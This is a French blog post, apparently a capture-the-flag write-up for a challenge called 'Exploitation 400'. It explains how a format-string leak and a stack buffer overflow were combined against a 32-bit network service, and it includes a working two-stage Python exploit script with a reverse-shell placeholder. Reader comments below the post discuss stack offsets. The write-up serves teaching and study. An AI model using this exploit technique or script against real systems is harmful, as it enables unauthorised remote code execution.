FR EN

Exploitation 400

<< Exploitation 300

Exploitation 500 >>

Exploitation 400 était un exécutable 32-bits compilé stackexec. L'exécutable ouvrait une socket serveur sur le port 23456. Il nous demandait une chaîne, et l'imprimait en ascii art 5 secondes après. J'imagine que c'était pour empêcher des bruteforces pour l'adresse de retour.

Je ne vais pas c/c de disas, l'exécutable n'est pas strippé et court, donc facile à reverser. In fine, la fonction sdoomsday() recevait 0x1ff caractères, remplaçait le premier \n par un null byte, faisait un snprintf de 0x3ff caractères de ce payload vers un buffer de la pile de 0x20C (normal..), puis nous affichait le beau ascii art, avec donc notre entrée. On a donc au choix un buffer overflow ou une format string, ou les deux. A noter la fonction de filtrage à 0x08048da4 qui vérifie que le payload ne contient pas de noms de shells connus (genre /bin/sh, /bin/rbash, etc..).

J'ai fait les deux car pour une raison que j'ignore pour sploit sur le bss n'a pas marché (je me suis sûrement foiré sur mon shellcode ceci dit, je n'ai pas utilisé le même après). Donc mon idée ici : utiliser une première fois la format string pour disclose une adresse de la pile, puis retourner vers le début de sdoomsday(), pour injecter directement le shellcode et retourner dessus, puisque la pile est exécutable.

Le 139e mot de la pile est une adresse fixe de la pile, avec gdb on voit qu'elle est à un offset de 712 par rapport au début du buffer vulnérable, pas besoin de plus d'explications j'imagine :

#!/usr/bin/python

import struct
import socket
import re

HOST = "128.238.66.213"
PORT = 23456

shellcode = [ reverse shell, msfencodé ]

relaunch = struct.pack("<I", 0x08048B35)
targetfd = 4

stage1 = '%139$8x' + 'A'*92 + '%428x' + relaunch + chr(targetfd) + '\n'

s = socket.socket()
s.connect((HOST, PORT))
s.sendall(stage1)
txt = ""
while 1:
	txt += s.recv(1024)
	if "AAAAAAAAAAA" in txt:
		break
rx = re.search('\|([0-9a-f]+)AA', txt)
print "[+] Found stack address: " + rx.group(1)
addr = int(rx.group(1),16)
payload_start = addr - 712

stage2 = shellcode + 'A'*(100-len(shellcode)) + '%428x' + struct.pack("<I", payload_start) + chr(targetfd) + '\n'
s.sendall(stage2)
while 1:
	txt = s.recv(1024)
	if len(txt) == 0:
		break
	print txt

On peut remarquer que je rajoute le fd de la socket client après l'adresse de retour à chaque fois, car c'est l'argument de la fonction sdoomsday et qu'on veut la relancer pour envoyer le stage2 (rappellez-vous, le \n est remplacé par un \x00).

Le flag est quelque chose du genre "ce filtre n'était pas terrible", puisque apparemment c'était l'intérêt principal de cette épreuve.

<< Exploitation 300

Exploitation 500 >>

7 comments

  1. crasher 02/19/13 22:45

    Merci bien. Mais malheureusement je n'ai pas tout bien, il reste quelques choses floues pour moi d'ailleurs si vous avez des articles qui detaillent cet truc vous pouvez vous l'indiquer ? et encore une fois merci pour cet excellent article :)

  2. FrizN 01/17/13 08:54

    Par rapport au haut de la pile, avant le format, il y a l'argument contenant la destination de snprintf et l'argument de taille => 2 int = 8 bytes. Et oui on peut quasiment toujours utiliser cette approche, mais c'est surtout utile quand la pile est exécutable.

  3. crasher 01/17/13 07:44

    je vous remercies beaucoup , je viens de comprendre un peu , la dérniere question c'est que vous avez dit que la taille de l'argument de snprintf est 8, comment ça ?? deuxieme chose est-ce que cette truc existe toujour dans les vulnerabilité de format string ? merci

  4. FrizN 01/15/13 16:30

    L'écriture des adresses a lieu dans le snprintf appellé dans sdoomsday() à 0x08048bfe. Le prélude de la fonction commence par push ebp + sub esp, 0x228.
    Du coup, on sait qu'au moment du call, le mot à esp + 0x228 est l'ebp de setup_tcp(). A ça, il faut retirer la taille des arguments du snprintf avant le format : 8 bytes dans notre cas. Ca fait (0x228-8)/4 = 136. Donc par exemple le 136e mot est l'ebp de la fonction appelante et est fixe par rapport à la position du buffer.

  5. crasher 01/15/13 15:48

    Malheureusement j'ai pas bien compris, pouvez-vous me donner une petite description sur cette technique ou quelques references sur ça et merci beaucoup